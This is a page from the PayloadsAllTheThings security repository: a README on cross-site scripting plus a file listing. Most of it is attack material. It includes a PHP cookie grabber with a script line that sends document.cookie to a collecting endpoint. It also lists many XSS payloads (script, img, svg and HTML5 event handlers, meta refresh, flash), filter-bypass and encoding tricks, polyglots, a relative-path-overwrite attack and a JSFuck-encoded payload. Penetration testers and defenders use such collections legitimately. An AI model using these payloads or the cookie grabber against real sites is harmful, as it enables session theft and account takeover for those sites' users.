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341295dc4b
PayloadsAllTheThings/XSS injection
History
swisskyrepo 341295dc4b XSS Update with RPO attack vector
2016-10-31 14:55:37 +07:00
..
files Clean project - Renamed and added PHP juggling type 2016-10-20 10:22:24 +07:00
Cookie Grabber XSS.php Clean project - Renamed and added PHP juggling type 2016-10-20 10:22:24 +07:00
Flash XSS.md Clean project - Renamed and added PHP juggling type 2016-10-20 10:22:24 +07:00
Polyglot XSS.md Clean project - Renamed and added PHP juggling type 2016-10-20 10:22:24 +07:00
README.md XSS Update with RPO attack vector 2016-10-31 14:55:37 +07:00
Wrapper JS and Data XSS.md Clean project - Renamed and added PHP juggling type 2016-10-20 10:22:24 +07:00
XML XSS basic.html Clean project - Renamed and added PHP juggling type 2016-10-20 10:22:24 +07:00

README.md

Cross Site Scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.

Exploit code or POC

Cookie grabber for XSS

<?php 
// How to use it
# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>

// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);

?>

XSS in HTML/Applications

XSS Basic

Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>

Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)

XSS for HTML5

<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`"

XSS in META tag

Base64 encoded
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>

With an additionl URL
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

XSS in flash application

 \%22})))}catch(e){alert(document.domain);}// 

 "]);}catch(e){}if(!self.a)self.a=!alert(document.domain);// 

 "a")(({type:"ready"}));}catch(e){alert(1)}//

XSS in Hidden input

<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event

XSS in wrappers javascript and data

XSS with javascript:

javascript:prompt(1)

%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

XSS with data:

data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+

XSS in files

XSS in XML

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>

XSS in SVG

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.domain);
   </script>
</svg>

XSS in SVG (short)

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

more payloads in ./files

XSS with Relative Path Overwrite - IE 8/9 and lower

You need these 3 components

1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
2) URL Rewriting.
3) Relative addressing to CSS style sheet : ../style.css

A little example

http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
</body>
</html>

Explanation of the vulnerability

The Meta element forces IE’s document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert. 

A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.

Demo 1 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php
Demo 2 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3
MultiBrowser : http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php


From : http://www.thespanner.co.uk/2014/03/21/rpo/

Mutated XSS for Browser IE8/IE9

<listing id=x>&lt;img src=1 onerror=alert(1)&gt;</listing>
<script>alert(document.getElementById('x').innerHTML)</script>

IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute.

Polyglot XSS

Polyglot XSS - 0xsobky

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Polyglot XSS - Ashar Javed

 ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">

Polyglot XSS - Mathias Karlsson

" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//

Polyglot XSS - Rsnake

';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

Filter Bypass and exotic payloads

Bypass quotes for string

String.fromCharCode(88,83,83)

Bypass parenthesis for string

alert`1`

<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~> 
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img/id="alert&lpar;&#x27;XSS&#x27;&#x29;\"/alt=\"/\"src=\"/\"onerror=eval(id&#x29;>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert&#40;&#39;1&#39;&#41</x>
<iframe src=""/srcdoc='&lt;svg onload&equals;alert&lpar;1&rpar;&gt;'>

Using Unicode

Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <

Overlong UTF-8
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9

HTTP Parameter Pollution

http://target.com/something.xxx?a=val1&a=val2
ASP.NET 	a = val1,val2
ASP 		a = val1,val2
JSP 		a = val1
PHP 		a = val2

Use JSFuck to encode the payload (alert())

<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>

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Thanks to